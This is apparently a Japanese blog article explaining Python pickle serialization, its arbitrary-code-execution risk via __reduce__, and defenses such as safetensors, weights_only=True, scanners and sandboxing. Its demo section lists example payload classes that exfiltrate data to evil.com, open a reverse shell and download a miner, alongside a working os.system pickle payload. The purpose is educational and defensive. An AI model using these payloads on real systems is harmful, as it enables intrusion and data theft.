0
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Pickleってなんだ?〜Pythonの便利で危険なシリアライゼーションを完全理解〜

0
Posted at

この記事の対象読者

  • Pythonを使っている方で「pickleって何?」「なんで危険って言われるの?」と疑問に持っている方
  • PyTorchのモデルファイル(.pt.pth)を扱ったことがある方
  • AIモデルのセキュリティリスクを理解したいエンジニアの方
  • pickle.loads()をなんとなく使っているが、裏で何が起きているか知らない方

この記事で得られること

  • Pickleの仕組みを根本から理解: シリアライズ/デシリアライズが内部で何をしているか、バイトコードレベルまで解説する
  • なぜPickleが「危険」なのかを具体的に理解: __reduce__メソッドによる任意コード実行の仕組みを実際のコードで確認できる
  • 安全な代替手段と実践的な防御策: safetensors、JSON、weights_only=Trueなど、用途別の最適な選択肢が判断できる

この記事で扱わないこと

  • Pickle以外のシリアライゼーションフォーマット(Protocol Buffers、MessagePack等)の詳細比較
  • ネットワーク経由のAPI脆弱性(こちらの記事で解説
  • pickle互換を維持した暗号化・署名の実装詳細

1. Pickleとの出会い

「とりあえずpickle.dump()で保存して、pickle.load()で読み込めばいいんでしょ?」

Pythonを触り始めた頃、私はそう思っていた。辞書もリストもクラスインスタンスも、何でもファイルに保存できる便利なモジュール。PyTorchでモデルをtorch.save()するのも、裏側ではpickleが動いている。

ところがある日、Pythonの公式ドキュメントにこんな赤い警告が書いてあることに気づいた。

Warning: The pickle module is not secure. Only unpickle data you trust.

「信頼できないデータをunpickleするな」——つまり、信頼できないpickleファイルを読み込むと、あなたのマシンで任意のコードが実行されるということだ。

これはバグではない。仕様だ。

なぜPythonの標準ライブラリに、こんな危険な機能が堂々と存在しているのか。そして、AI/ML界隈ではなぜこの危険な仕組みが広く使われ続けているのか。この記事では、Pickleの仕組みを根本から理解し、「何が危険で、どう対処すべきか」を明確にしていく。

ここまでで、Pickleがただの便利ツールではないことが伝わったと思う。次は、この記事で使う用語を整理しておこう。


2. 前提知識の確認

本題に入る前に、この記事で登場する用語を確認する。

2.1 シリアライゼーション(Serialization)とは

プログラム内のオブジェクト(変数、クラスインスタンス、データ構造)を、ファイルに保存したりネットワークで送信できるバイト列に変換すること。料理で言えば「真空パック」にする工程。冷蔵庫(メモリ)にある食材(オブジェクト)を、持ち運べる形にパッキングする。

2.2 デシリアライゼーション(Deserialization)とは

シリアライズされたバイト列を元のオブジェクトに復元すること。真空パックを開封して、元の食材として使えるようにする工程。Pickleの文脈ではpickle.loads()pickle.load()がこれに当たる。

問題は、この「開封」の過程で、パックの中に仕込まれた任意のコードが実行されてしまうことだ。

2.3 RCE(Remote Code Execution)とは

攻撃者がリモートから、あるいは間接的に、対象マシンで任意のコードを実行できる脆弱性のこと。Pickleのデシリアライズを悪用したRCEでは、悪意あるpickleファイルを読み込んだだけでシェルコマンドが実行される。

2.4 PVM(Pickle Virtual Machine)とは

Pickleデータを解釈・実行するスタックベースの仮想マシン。pickleファイルの中身は実はPVM用の「命令列(オペコード)」であり、デシリアライズはこの命令列を順番に実行する処理に等しい。これがPickleの強力さと危険さの根源だ。

これらの用語が押さえられたら、Pickleの背景を見ていこう。


3. Pickleが生まれた背景

3.1 Pythonの「バッテリー同梱」哲学

Pickleは Python 1.5.2(1999年)の時代から標準ライブラリに含まれている、非常に歴史あるモジュールだ。Pythonの「バッテリー同梱(batteries included)」哲学——つまり、よく使う機能は標準ライブラリに最初から入っているべき——の象徴的な存在と言える。

当時のユースケースは主に以下だった。

用途 説明
セッション保存 Webアプリのセッションデータの永続化
キャッシュ 計算結果のディスク保存
IPC プロセス間通信でのオブジェクト受け渡し
設定保存 アプリケーション設定の保存

3.2 「何でも保存できる」が設計思想

Pickleの設計思想は「Pythonのほぼあらゆるオブジェクトを、そのままの形でバイト列に変換して保存・復元できること」だ。

JSONは辞書、リスト、文字列、数値しか扱えない。しかしPickleは、クラスインスタンス、関数、ラムダ式、ジェネレータを除くほぼ全てのPythonオブジェクトを保存できる。この「何でも保存できる」柔軟性が、後にAI/ML界隈で広く採用される理由となった。

3.3 PyTorchとPickleの蜜月

PyTorchtorch.save()は内部でpickle.dump()を使っている。ニューラルネットワークのモデルは、テンソル(数値配列)だけでなく、モデルのアーキテクチャ情報、オプティマイザの状態、カスタムクラスの属性など、複雑なPythonオブジェクトの塊だ。

これを「何でも保存できる」pickleで丸ごとシリアライズするのは、当時としては合理的な選択だった。しかし、モデルファイルがインターネット上で広く共有される時代になった今、この選択はセキュリティリスクの温床になっている。

背景がわかったところで、Pickleの基本的な仕組みを見ていこう。


4. 基本概念と仕組み

4.1 Pickleの基本操作

まず、基本的な使い方を確認する。

import pickle

# --- シリアライズ(オブジェクト → バイト列) ---
data = {
    "name": "Alice",
    "scores": [95, 87, 92],
    "metadata": {"role": "engineer", "level": 3}
}

# バイト列に変換
serialized = pickle.dumps(data)
print(type(serialized))   # <class 'bytes'>
print(len(serialized))    # 107 bytes程度

# ファイルに保存
with open("data.pkl", "wb") as f:
    pickle.dump(data, f)

# --- デシリアライズ(バイト列 → オブジェクト) ---
restored = pickle.loads(serialized)
print(restored)  # {'name': 'Alice', 'scores': [95, 87, 92], ...}

# ファイルから復元
with open("data.pkl", "rb") as f:
    restored = pickle.load(f)

ここまでは何の変哲もない。問題は次だ。

4.2 __reduce__メソッド:Pickleの「裏口」

Pickleがカスタムクラスをシリアライズ/デシリアライズする際、__reduce__(または__reduce_ex__)メソッドが呼ばれる。このメソッドは「このオブジェクトをどうやって復元するか」の手順をPickleに教える。

import pickle

class Point:
    """通常のクラス - __reduce__の正当な使い方"""
    def __init__(self, x, y):
        self.x = x
        self.y = y
    
    def __reduce__(self):
        # デシリアライズ時に Point(self.x, self.y) が呼ばれる
        return (Point, (self.x, self.y))
    
    def __repr__(self):
        return f"Point({self.x}, {self.y})"

p = Point(3, 4)
data = pickle.dumps(p)
restored = pickle.loads(data)
print(restored)  # Point(3, 4) — 正常に復元される

ここまでは正当な使い方だ。しかし、__reduce__が返す「復元手順」には任意の呼び出し可能オブジェクト(callable)を指定できる。つまり、os.systemでもsubprocess.Popenでも何でも指定できてしまう。

import pickle
import os

class MaliciousPayload:
    """悪意あるクラス - __reduce__を悪用"""
    def __reduce__(self):
        # デシリアライズ時に os.system("echo HACKED") が実行される
        return (os.system, ("echo HACKED",))

# シリアライズ(攻撃者側で実行)
malicious_data = pickle.dumps(MaliciousPayload())

# デシリアライズ(被害者側で実行)
pickle.loads(malicious_data)
# 出力: HACKED
# → os.system("echo HACKED") が実行された

これがPickleの根本的な危険性だ。pickle.loads()を呼ぶだけで、任意のシェルコマンドが実行される。

4.3 PVM(Pickle Virtual Machine)の仕組み

なぜこんなことが可能なのか。Pickleファイルの中身を覗いてみよう。

import pickle
import pickletools

data = {"key": "value", "number": 42}
serialized = pickle.dumps(data)

# pickletoolsでバイトコードを可視化
pickletools.dis(serialized)

出力:

    0: \x80 PROTO      5
    2: \x95 FRAME      30
   11: }    EMPTY_DICT
   12: \x94 MEMOIZE    (as 0)
   13: (    MARK
   14: \x8c SHORT_BINUNICODE 'key'
   19: \x94 MEMOIZE    (as 1)
   20: \x8c SHORT_BINUNICODE 'value'
   27: \x94 MEMOIZE    (as 2)
   28: \x8c SHORT_BINUNICODE 'number'
   36: \x94 MEMOIZE    (as 3)
   37: K    SHORT_BININT    42
   38: u    SETITEMS   (MARK at 13)
   39: .    STOP

Pickleファイルはスタックベースの仮想マシン(PVM)用の命令列だ。EMPTY_DICTで空の辞書を作り、SHORT_BINUNICODEで文字列をプッシュし、SETITEMSで辞書にセットする。

悪意あるペイロードの場合、REDUCE命令(オペコードR)がスタック上のcallableを呼び出す。これがos.systemであれば、シェルコマンドが実行される。

import pickle
import pickletools
import os

class Evil:
    def __reduce__(self):
        return (os.system, ("echo PWNED",))

pickletools.dis(pickle.dumps(Evil()))

出力(概要):

    0: \x80 PROTO      5
    ...
        GLOBAL     'nt system'       ← os.system への参照
        SHORT_BINUNICODE 'echo PWNED' ← 引数
        REDUCE                        ← os.system("echo PWNED") を実行
        STOP

GLOBAL命令でos.systemを参照し、REDUCE命令で実行する。この仕組みがある限り、pickleデータは本質的に「実行可能なプログラム」と同等だ。

4.4 Pickleプロトコルバージョン

Pickleには複数のプロトコルバージョンが存在する。

バージョン Python 特徴
0 1.x〜 ASCII形式、人間が読める
1 1.x〜 バイナリ形式の初期版
2 2.3〜 新スタイルクラスのサポート
3 3.0〜 bytes型のサポート(Python 3デフォルト)
4 3.4〜 大きなオブジェクトの効率的な処理
5 3.8〜 out-of-bandデータ(ゼロコピー)対応

どのバージョンでも__reduce__による任意コード実行は可能であり、プロトコルバージョンを上げてもセキュリティは改善しない。

基本概念が理解できたところで、実際にPickleの危険性と防御策をコードで確認してみよう。


5. 実践:Pickleの危険性を体感し、防御する

5.1 環境構築

# 必要なパッケージのインストール
pip install torch safetensors fickling pickletools

5.2 環境別の設定ファイル

Pickleの利用ポリシーを環境別に定義する。

開発環境用(pickle_policy.development.yaml)

# pickle_policy.development.yaml - 開発環境
pickle:
  allow_pickle_load: true          # 開発中は許可(ただし信頼できるソースのみ)
  require_source_verification: true
  trusted_sources:
    - "local"                       # 自分で生成したファイル
    - "pytorch_official"            # PyTorch公式モデル
  
torch_load:
  weights_only: true               # デフォルトでweights_only=True
  allow_weights_only_false: false   # Falseへの変更を禁止

preferred_formats:
  model_weights: "safetensors"     # モデルの重みはsafetensorsで保存
  general_data: "json"             # 汎用データはJSONで保存
  numpy_arrays: "npy"              # NumPy配列は.npy/.npzで保存

ステージング環境用(pickle_policy.staging.yaml)

# pickle_policy.staging.yaml - ステージング環境
pickle:
  allow_pickle_load: false         # pickleの読み込みを禁止
  exceptions:
    - "legacy_models/*"            # レガシーモデルのみ例外(要承認)
  require_scan_before_load: true   # 読み込み前にModelScanを必須化
  
torch_load:
  weights_only: true
  allow_weights_only_false: false

preferred_formats:
  model_weights: "safetensors"
  general_data: "json"
  numpy_arrays: "npy"

scanning:
  tool: "fickling"                 # Ficklingで静的解析
  block_on: "CRITICAL"

本番環境用(pickle_policy.production.yaml)

# pickle_policy.production.yaml - 本番環境
pickle:
  allow_pickle_load: false         # 完全禁止(例外なし)
  
torch_load:
  weights_only: true
  allow_weights_only_false: false

preferred_formats:
  model_weights: "safetensors"     # safetensorsのみ許可
  general_data: "json"
  numpy_arrays: "npy"

# CIで自動チェック
ci_checks:
  - "grep -r 'pickle.load' --include='*.py' && exit 1"
  - "grep -r 'weights_only=False' --include='*.py' && exit 1"
  - "grep -r 'torch.load(' --include='*.py' | grep -v 'weights_only=True' && exit 1"

5.3 危険性の確認(安全な実験環境で)

以下のコードはPickleの仕組みを理解するためのデモであり、悪用を意図したものではない。

#!/usr/bin/env python3
"""
Pickleの危険性デモ(安全なコマンドのみ使用)
実行方法: python pickle_danger_demo.py
"""

import pickle
import pickletools
import io
import sys


def demo_normal_pickle():
    """通常のPickle使用例"""
    print("=" * 60)
    print("  デモ1: 通常のPickle(安全)")
    print("=" * 60)
    
    data = {
        "model_name": "llama-3.2",
        "parameters": 8_000_000_000,
        "config": {"temperature": 0.7, "top_p": 0.9}
    }
    
    serialized = pickle.dumps(data)
    print(f"  シリアライズ後のサイズ: {len(serialized)} bytes")
    
    # バイトコードの確認
    print("\n  PVMバイトコード:")
    pickletools.dis(serialized)
    
    restored = pickle.loads(serialized)
    print(f"\n  復元されたデータ: {restored}")


def demo_reduce_mechanism():
    """__reduce__の仕組みを確認(無害なデモ)"""
    print("\n" + "=" * 60)
    print("  デモ2: __reduce__メソッドの仕組み")
    print("=" * 60)
    
    class SafeDemo:
        """__reduce__で復元手順を指定する(無害な例)"""
        def __init__(self, message):
            self.message = message
        
        def __reduce__(self):
            # デシリアライズ時に print() が呼ばれる
            return (print, (f"[__reduce__が実行された] message={self.message}",))
    
    obj = SafeDemo("hello from pickle")
    serialized = pickle.dumps(obj)
    
    print("  デシリアライズを実行...")
    pickle.loads(serialized)
    # ↑ print("[__reduce__が実行された] message=hello from pickle") が出力される
    
    print("\n  PVMバイトコード:")
    pickletools.dis(serialized)


def demo_what_attacker_could_do():
    """攻撃者が何をできるかの概念説明(実行はしない)"""
    print("\n" + "=" * 60)
    print("  デモ3: 攻撃者が悪用する場合の概念(コード例示のみ)")
    print("=" * 60)
    
    attack_patterns = """
    # パターン1: シェルコマンドの実行
    class Attack1:
        def __reduce__(self):
            return (os.system, ("curl http://evil.com/steal?data=$(whoami)",))
    
    # パターン2: リバースシェルの確立
    class Attack2:
        def __reduce__(self):
            return (subprocess.Popen, (["bash", "-c", "bash -i >& /dev/tcp/attacker/9999 0>&1"],))
    
    # パターン3: ファイルの窃取
    class Attack3:
        def __reduce__(self):
            return (exec, ("import urllib.request; urllib.request.urlopen('http://evil.com/exfil', open('/etc/passwd','rb').read())",))
    
    # パターン4: 暗号通貨マイナーの設置
    class Attack4:
        def __reduce__(self):
            return (os.system, ("wget http://evil.com/miner && chmod +x miner && ./miner &",))
    """
    
    print("  攻撃者は __reduce__ を使って以下が可能:")
    print("    - 任意のシェルコマンド実行")
    print("    - リバースシェルの確立(マシンの完全掌握)")
    print("    - ファイルの窃取(秘密鍵、環境変数、DB接続情報)")
    print("    - マルウェアのダウンロードと実行")
    print("\n  これらは pickle.loads() を1回呼ぶだけで実行される。")
    print("  被害者は何が起きたか気づかないことも多い。")


def demo_pickletools_analysis():
    """pickletoolsによる安全な分析"""
    print("\n" + "=" * 60)
    print("  デモ4: pickletoolsによるバイトコード分析")
    print("=" * 60)
    
    # 安全なデータ
    safe_data = [1, 2, 3, "hello"]
    serialized = pickle.dumps(safe_data)
    
    # オペコードの統計
    opcodes = list(pickletools.genops(serialized))
    print(f"  オペコード数: {len(opcodes)}")
    
    # 危険なオペコードの検出
    dangerous_opcodes = {"GLOBAL", "INST", "REDUCE", "BUILD", "STACK_GLOBAL"}
    found_dangerous = [op for op, _, _ in opcodes if op.name in dangerous_opcodes]
    
    if found_dangerous:
        print(f"  [!] 危険なオペコードを検出: {[op.name for op in found_dangerous]}")
    else:
        print("  [OK] 危険なオペコードは含まれていません")


def main():
    """メイン処理"""
    print("Pickle危険性デモンストレーション")
    print("※ このデモは安全なコマンドのみ使用します\n")
    
    demo_normal_pickle()
    demo_reduce_mechanism()
    demo_what_attacker_could_do()
    demo_pickletools_analysis()
    
    print("\n" + "=" * 60)
    print("  結論: pickle.loads() に信頼できないデータを渡してはいけない")
    print("=" * 60)


if __name__ == "__main__":
    main()

5.4 実行結果

上記のコードを実行すると、以下のような出力が得られる。

$ python pickle_danger_demo.py
Pickle危険性デモンストレーション
※ このデモは安全なコマンドのみ使用します

============================================================
  デモ1: 通常のPickle(安全)
============================================================
  シリアライズ後のサイズ: 107 bytes

  PVMバイトコード:
    0: \x80 PROTO      5
    ...(辞書の構築命令が続く)

  復元されたデータ: {'model_name': 'llama-3.2', ...}

============================================================
  デモ2: __reduce__メソッドの仕組み
============================================================
  デシリアライズを実行...
[__reduce__が実行された] message=hello from pickle

  PVMバイトコード:
    ...
        GLOBAL     'builtins print'  ← print関数への参照
        ...
        REDUCE                        ← print() の実行
    ...

============================================================
  デモ3: 攻撃者が悪用する場合の概念(コード例示のみ)
============================================================
  攻撃者は __reduce__ を使って以下が可能:
    - 任意のシェルコマンド実行
    - リバースシェルの確立(マシンの完全掌握)
    ...

============================================================
  デモ4: pickletoolsによるバイトコード分析
============================================================
  オペコード数: 12
  [OK] 危険なオペコードは含まれていません

デモ2の出力に注目してほしい。pickle.loads()を呼んだだけで、__reduce__に指定されたprint()が自動的に実行されている。これがos.system()subprocess.Popen()だったら——結果は想像がつくだろう。

5.5 よくあるエラーと対処法

エラー・状況 原因 対処法
_pickle.UnpicklingError: invalid load key pickleファイルが破損している、またはpickle形式でないファイルを読もうとしている ファイル形式を確認する。safetensorsファイルをpickle.load()で読もうとしていないか
ModuleNotFoundError on pickle.load() pickleファイルの作成時に使われたモジュールが環境にない 作成時と同じパッケージをインストールする
torch.load()weights_only=True にしたらエラー モデルファイルがpickleオブジェクトを含んでいる safetensors版のモデルを探す。なければ信頼できるソースであることを確認の上 weights_only=False
pickle.loads() が異常に遅い 非常に大きなオブジェクトか、デシリアライズ中に重い処理が走っている バイトコードをpickletools.dis()で確認。REDUCE命令で重い処理が呼ばれていないか
RecursionError on pickle.dumps() 循環参照を含むオブジェクト sys.setrecursionlimit()を上げるか、循環参照を解消する

5.6 環境診断スクリプト

プロジェクト内のPickle使用状況を診断するスクリプト。

#!/usr/bin/env python3
"""
プロジェクトのPickle使用状況診断スクリプト
実行方法: python check_pickle_usage.py [対象ディレクトリ]
"""

import sys
import re
from pathlib import Path
from collections import defaultdict


# 危険なパターン
DANGEROUS_PATTERNS = {
    r"pickle\.loads?\s*\(": {
        "level": "CRITICAL",
        "message": "pickle.load()/loads()の直接使用",
        "fix": "JSONやsafetensorsへの移行を検討",
    },
    r"torch\.load\s*\((?!.*weights_only\s*=\s*True)": {
        "level": "WARNING",
        "message": "torch.load()にweights_only=Trueが指定されていない",
        "fix": "torch.load(..., weights_only=True) を追加",
    },
    r"pickle\.Unpickler": {
        "level": "WARNING",
        "message": "pickle.Unpicklerの直接使用",
        "fix": "RestrictedUnpicklerの実装を検討",
    },
    r"joblib\.load\s*\(": {
        "level": "WARNING",
        "message": "joblib.load()は内部でpickleを使用",
        "fix": "信頼できるソースのみ読み込む",
    },
    r"shelve\.open\s*\(": {
        "level": "INFO",
        "message": "shelveは内部でpickleを使用",
        "fix": "SQLiteやJSONへの移行を検討",
    },
}

# 安全なパターン
SAFE_PATTERNS = {
    r"json\.loads?\s*\(": "JSON使用(安全)",
    r"safetensors": "safetensors使用(安全)",
    r"weights_only\s*=\s*True": "weights_only=True(安全)",
    r"torch\.save\(.*safe_serialization\s*=\s*True": "safe_serialization=True(安全)",
}


def scan_file(filepath: Path) -> list[dict]:
    """単一ファイルをスキャン"""
    issues = []
    try:
        content = filepath.read_text(encoding="utf-8")
        lines = content.split("\n")
        
        for line_num, line in enumerate(lines, 1):
            # コメント行はスキップ
            stripped = line.strip()
            if stripped.startswith("#"):
                continue
            
            for pattern, info in DANGEROUS_PATTERNS.items():
                if re.search(pattern, line):
                    issues.append({
                        "file": str(filepath),
                        "line": line_num,
                        "code": stripped[:80],
                        **info,
                    })
    except (UnicodeDecodeError, PermissionError):
        pass
    
    return issues


def scan_directory(target_dir: Path) -> list[dict]:
    """ディレクトリを再帰スキャン"""
    all_issues = []
    
    for py_file in target_dir.rglob("*.py"):
        # venv, __pycache__ 等はスキップ
        parts = py_file.parts
        if any(skip in parts for skip in ("venv", ".venv", "__pycache__", "node_modules", ".git")):
            continue
        all_issues.extend(scan_file(py_file))
    
    return all_issues


def count_pickle_files(target_dir: Path) -> dict:
    """Pickle関連ファイルのカウント"""
    counts = defaultdict(int)
    pickle_extensions = {".pkl", ".pickle", ".pt", ".pth", ".bin"}
    safe_extensions = {".safetensors", ".json", ".npy", ".npz"}
    
    for f in target_dir.rglob("*"):
        if f.suffix in pickle_extensions:
            counts[f"pickle系 ({f.suffix})"] += 1
        elif f.suffix in safe_extensions:
            counts[f"安全な形式 ({f.suffix})"] += 1
    
    return dict(counts)


def main():
    target = Path(sys.argv[1]) if len(sys.argv) > 1 else Path(".")
    
    if not target.exists():
        print(f"エラー: {target} が見つかりません")
        sys.exit(1)
    
    print("=" * 60)
    print("  Pickle使用状況診断ツール v1.0")
    print(f"  対象: {target.resolve()}")
    print("=" * 60)
    
    # ソースコードスキャン
    print("\n--- ソースコード分析 ---")
    issues = scan_directory(target)
    
    critical = [i for i in issues if i["level"] == "CRITICAL"]
    warnings = [i for i in issues if i["level"] == "WARNING"]
    infos = [i for i in issues if i["level"] == "INFO"]
    
    if critical:
        print(f"\n  CRITICAL: {len(critical)}")
        for i in critical:
            print(f"    [!] {i['file']}:{i['line']}")
            print(f"        {i['message']}")
            print(f"        コード: {i['code']}")
            print(f"        対策: {i['fix']}")
    
    if warnings:
        print(f"\n  WARNING: {len(warnings)}")
        for i in warnings:
            print(f"    [!] {i['file']}:{i['line']}")
            print(f"        {i['message']}")
            print(f"        対策: {i['fix']}")
    
    if infos:
        print(f"\n  INFO: {len(infos)}")
        for i in infos:
            print(f"    [i] {i['file']}:{i['line']} - {i['message']}")
    
    if not issues:
        print("\n  [OK] 危険なPickle使用パターンは検出されませんでした")
    
    # ファイル形式カウント
    print("\n--- データファイル分析 ---")
    file_counts = count_pickle_files(target)
    if file_counts:
        for fmt, count in sorted(file_counts.items()):
            print(f"  {fmt}: {count}ファイル")
    else:
        print("  モデルファイル/データファイルは見つかりませんでした")
    
    return 1 if critical else 0


if __name__ == "__main__":
    sys.exit(main())

5.7 Docker設定(安全なモデルロード環境)

信頼できないモデルを検証する必要がある場合のサンドボックス環境。

# Dockerfile - Pickleスキャン用サンドボックス
FROM python:3.11-slim

WORKDIR /app

# スキャンツールのインストール
RUN pip install --no-cache-dir \
    fickling \
    picklescan \
    modelscan \
    safetensors \
    torch --index-url https://download.pytorch.org/whl/cpu

COPY scan_model.py .

# 非rootユーザーで実行
RUN useradd -m scanner
USER scanner

# ネットワークアクセスを制限するため、実行時に --network=none を指定すること
ENTRYPOINT ["python", "scan_model.py"]
# docker-compose.sandbox.yml
version: '3.8'
services:
  pickle-scanner:
    build: .
    # ネットワークを完全に遮断(万が一RCEされても外部通信不可)
    network_mode: "none"
    # 読み取り専用ファイルシステム
    read_only: true
    # 権限昇格を防止
    security_opt:
      - no-new-privileges:true
    # リソース制限
    deploy:
      resources:
        limits:
          memory: 4G
          cpus: '2'
    volumes:
      - ./models_to_scan:/data:ro  # スキャン対象は読み取り専用でマウント
    tmpfs:
      - /tmp:size=1G

実装方法がわかったので、次は具体的なユースケース別の対応を見ていく。


6. ユースケース別ガイド

6.1 ユースケース1: データの永続化にPickleを使っている人

想定読者: Pythonスクリプトで辞書やリストをpickle.dump()で保存している方

推奨構成: JSON or MessagePackへの移行

サンプルコード:

"""
Pickle → JSONへの移行例
辞書やリストの保存にはJSONで十分。Pickleは不要。
"""
import json
from pathlib import Path

# --- Before: Pickleで保存(非推奨)---
# import pickle
# with open("config.pkl", "wb") as f:
#     pickle.dump(config, f)

# --- After: JSONで保存(推奨)---
config = {
    "model_name": "llama-3.2",
    "parameters": {"temperature": 0.7, "top_p": 0.9},
    "tags": ["ai", "llm", "local"],
}

# 保存
config_path = Path("config.json")
config_path.write_text(json.dumps(config, indent=2, ensure_ascii=False))

# 読み込み
restored = json.loads(config_path.read_text())
print(restored)  # 完全に復元される

JSONで保存できないデータ型(datetimeset、カスタムクラス等)がある場合は、カスタムエンコーダを使う。

"""
JSONで保存できないデータ型への対応
"""
import json
from datetime import datetime


class ExtendedEncoder(json.JSONEncoder):
    """JSON非対応の型をハンドリング"""
    def default(self, obj):
        if isinstance(obj, datetime):
            return {"__type__": "datetime", "value": obj.isoformat()}
        if isinstance(obj, set):
            return {"__type__": "set", "value": list(obj)}
        return super().default(obj)


def extended_decoder(obj):
    """カスタム型の復元"""
    if "__type__" in obj:
        if obj["__type__"] == "datetime":
            return datetime.fromisoformat(obj["value"])
        if obj["__type__"] == "set":
            return set(obj["value"])
    return obj


# 使用例
data = {
    "created_at": datetime.now(),
    "unique_tags": {"python", "ai", "security"},
    "count": 42,
}

serialized = json.dumps(data, cls=ExtendedEncoder)
restored = json.loads(serialized, object_hook=extended_decoder)
print(type(restored["created_at"]))   # <class 'datetime.datetime'>
print(type(restored["unique_tags"]))  # <class 'set'>

6.2 ユースケース2: PyTorchモデルを保存・読み込みする人

想定読者: PyTorchでモデルのチェックポイントを保存している方

推奨構成: safetensors形式での保存 + weights_only=Trueでの読み込み

サンプルコード:

"""
PyTorchモデルの安全な保存・読み込み
"""
import torch
import torch.nn as nn
from safetensors.torch import save_file, load_file


# サンプルモデル
class SimpleModel(nn.Module):
    def __init__(self):
        super().__init__()
        self.linear1 = nn.Linear(768, 256)
        self.relu = nn.ReLU()
        self.linear2 = nn.Linear(256, 10)
    
    def forward(self, x):
        return self.linear2(self.relu(self.linear1(x)))


model = SimpleModel()

# --- 方法1: safetensorsで保存(最も安全・推奨)---
# state_dictのみ保存(任意コード実行のリスクなし)
save_file(model.state_dict(), "model.safetensors")

# 読み込み
state_dict = load_file("model.safetensors")
new_model = SimpleModel()
new_model.load_state_dict(state_dict)


# --- 方法2: torch.save + weights_only=True ---
# PyTorch 2.6以降はweights_only=Trueがデフォルト
torch.save(model.state_dict(), "model_weights.pt")

state_dict = torch.load("model_weights.pt", weights_only=True)
new_model = SimpleModel()
new_model.load_state_dict(state_dict)


# --- NG: torch.save でモデル全体を保存(非推奨)---
# torch.save(model, "model_full.pt")  # ← pickle依存、危険
# model = torch.load("model_full.pt")  # ← 任意コード実行のリスク

6.3 ユースケース3: Hugging Faceからモデルを使う開発者

想定読者: transformersライブラリでHuggingFaceのモデルを使う方

推奨構成: safetensors優先 + trust_remote_code=False

サンプルコード:

"""
Hugging Faceモデルの安全な読み込み
"""
from transformers import AutoModelForCausalLM, AutoTokenizer

# 安全な読み込み(推奨設定)
model = AutoModelForCausalLM.from_pretrained(
    "meta-llama/Llama-3.2-8B",
    trust_remote_code=False,    # カスタムコードを実行しない
    use_safetensors=True,       # safetensorsフォーマットを優先
    torch_dtype="auto",
)

tokenizer = AutoTokenizer.from_pretrained(
    "meta-llama/Llama-3.2-8B",
    trust_remote_code=False,
)

# 読み込み後、safetensorsで保存し直す(レガシーモデルの場合)
model.save_pretrained(
    "./safe_model/",
    safe_serialization=True,    # safetensors形式で保存
)

ユースケースを把握できたところで、この先の学習パスを確認しよう。


7. 学習ロードマップ

この記事を読んだ後、次のステップとして以下をおすすめする。

初級者向け(まずはここから)

  1. Python公式ドキュメント - pickleモジュール のWarningセクションを読む
  2. 自分のプロジェクトで上記の診断スクリプトを実行し、Pickle使用箇所を洗い出す
  3. safetensors公式ドキュメント でフォーマットの基本を理解する

中級者向け(実践に進む)

  1. 既存プロジェクトのPickle依存をJSON/safetensorsに段階的に移行する
  2. Fickling でpickleファイルの静的解析手法を学ぶ
  3. CIパイプラインにpickle.loadの使用検出を組み込む

上級者向け(さらに深く)

  1. PVM(Pickle Virtual Machine)の仕様 をソースコードレベルで理解する
  2. RestrictedUnpicklerを実装してホワイトリスト方式のデシリアライズを構築する
  3. OWASP Deserialization Cheat Sheet でデシリアライゼーション脆弱性の横断的な知識を得る

8. まとめ

この記事では、PythonのPickleモジュールについて以下を解説した。

  1. Pickleの仕組み — PVM(スタックベース仮想マシン)上で動く命令列であり、本質的に「実行可能なプログラム」と同等
  2. なぜ危険なのか__reduce__メソッドにより、デシリアライズ時にos.system()等の任意コードが実行される。これは仕様であり、バグではない
  3. 安全な代替手段 — safetensors(モデル)、JSON(汎用データ)、weights_only=True(PyTorch)の3択

私の所感

Pickleは「Pythonの闇」とも言える存在だ。標準ライブラリに含まれていて、チュートリアルでも当たり前のように使われている。しかし、その裏には「任意コード実行」という地雷が埋まっている。

特にAI/ML界隈では、PyTorchのモデルファイルがpickle形式であるために、Hugging Faceからモデルをダウンロードしてtorch.load()するだけでRCEが成立するリスクが現実に存在する。2025年には実際にPicklescanを回避する悪意あるモデルが発見されている。

救いは、safetensorsという安全な代替手段が成熟してきたことだ。PyTorch 2.6以降ではweights_only=Trueがデフォルトになり、エコシステム全体が安全な方向に進んでいる。

「とりあえずpickle」の時代は終わった。 新規プロジェクトではsafetensorsかJSONを使い、既存プロジェクトは段階的に移行していくのが、2026年の正しいアプローチだと考えている。


参考文献


この記事が役に立ったら、いいね・ストックしていただけると励みになります。

他にもAI/MLセキュリティ関連の記事を書いています:


X(Twitter)でもAI/ML系の情報を発信中 → @geneLab_999

0
2
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?